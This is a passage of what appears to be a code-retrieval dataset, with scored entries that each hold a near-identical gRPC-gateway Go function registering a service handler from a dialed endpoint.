grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterOcpMeetingApiHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f3401d4d93a3646b073332290c613de7", "score": "0.621618", "text": "func RegisterPromotionServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPromotionServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "9f5bed7d04b7d237f877077e80a7f279", "score": "0.62062466", "text": "func RegisterApiGatewayHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterApiGatewayHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f5d458ac718e7b9c4a277a594ea14b5e", "score": "0.62002975", "text": "func RegisterDfeServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDfeServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "4024915684c4af87b3ad553a93f4c11f", "score": "0.6195359", "text": "func RegisterExampleHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterExampleHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "0f95f8db0317558e904942cd719489d5", "score": "0.618111", "text": "func RegisterMerchantMiddlewareServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterMerchantMiddlewareServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "5cd199b7be74c8f20b37496503a67ae9", "score": "0.6158059", "text": "func RegisterLibraryServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterLibraryServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "0eeac3a8e40d655382842ea59ddf2e0d", "score": "0.6157626", "text": "func RegisterBootcampHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterBootcampHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "3b5c6364d670211169db4c361ec67d62", "score": "0.6151806", "text": "func RegisterRPCServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRPCServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "1afa3f27952e1c70183736e3fb90be89", "score": "0.6146884", "text": "func RegisterDatasetServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDatasetServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "1480ecdeabaa42a15ee2e21e9811cd2c", "score": "0.6146519", "text": "func RegisterK8SAPIHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterK8SAPIHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "0805aad155d3db49be5b06c8407201f3", "score": "0.61276305", "text": "func RegisterContractAPIHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterContractAPIHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "823455e8dec051eeaff5c6583518a556", "score": "0.6125533", "text": "func RegisterAdminHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAdminHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "7ccf72b59462ec728b6955d8045534a8", "score": "0.6124693", "text": "func RegisterNotificationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterNotificationServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "e31e26a14e698375b87beec883327416", "score": "0.61237174", "text": "func RegisterTokenServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterTokenServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c99e4de17337dd17102a236236b81015", "score": "0.6114214", "text": "func RegisterWebHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterWebHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "1bbdde4966bfb0384e078f7e0fea8ca7", "score": "0.6111387", "text": "func RegisterAccessServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.DialContext(ctx, endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAccessServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c87a127f40b22edbd1e66231e623c7f6", "score": "0.61108744", "text": "func RegisterSimpleBankHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.DialContext(ctx, endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterSimpleBankHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "b37e6a97d218ec8afbf3ca3a396f30a2", "score": "0.6110594", "text": "func RegisterFacilityHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterFacilityHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "fdd82fdc686d9199481349d25d55ea78", "score": "0.6105226", "text": "func RegisterCardServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCardServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "946bb9db794e26be6165cd8a60462940", "score": "0.6098009", "text": "func RegisterGroupsHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterGroupsHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "946bb9db794e26be6165cd8a60462940", "score": "0.6098009", "text": "func RegisterGroupsHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterGroupsHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "ad75d62685a1571e6f40fb482809ea1c", "score": "0.60851055", "text": "func RegisterRemoteCrawlerServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRemoteCrawlerServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f5c93ebee924cc21f85936163d705150", "score": "0.60842144", "text": "func RegisterSteakhouseHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterSteakhouseHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "8229968f5e18a6f0093f81657f4a8529", "score": "0.6078976", "text": "func RegisterSmesherServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterSmesherServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "b668353a5efaccbbdf7cd9aa8911ea41", "score": "0.60788333", "text": "func RegisterTempsHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterTempsHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "d455d62b805b99661e0063573cb03268", "score": "0.60418373", "text": "func RegisterWorkflowServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterWorkflowServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "9a025a57d6d17e0c7a20a3d6d8ab9ab6", "score": "0.6038467", "text": "func RegisterPoliciesHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPoliciesHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "8c746161e349cbc787b9db48d6cc4a4f", "score": "0.60152733", "text": "func RegisterPostHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPostHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "6251e57aa75c470d286bf5262a80f182", "score": "0.600839", "text": "func RegisterTracHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterTracHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "bdc9a9f58bac4809045cd059bb1d8f41", "score": "0.6006786", "text": "func RegisterUserHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterUserHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "7cce98edb3a8ca5c181bb3af34cade5b", "score": "0.59799963", "text": "func RegisterContorlCommandHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterContorlCommandHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c7c5f014be74fa46572ec83ed4a1a630", "score": "0.5972646", "text": "func RegisterContactsHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterContactsHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "8c9063fd858ffb8d89e16419e22c88d3", "score": "0.596632", "text": "func RegisterCompassServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, 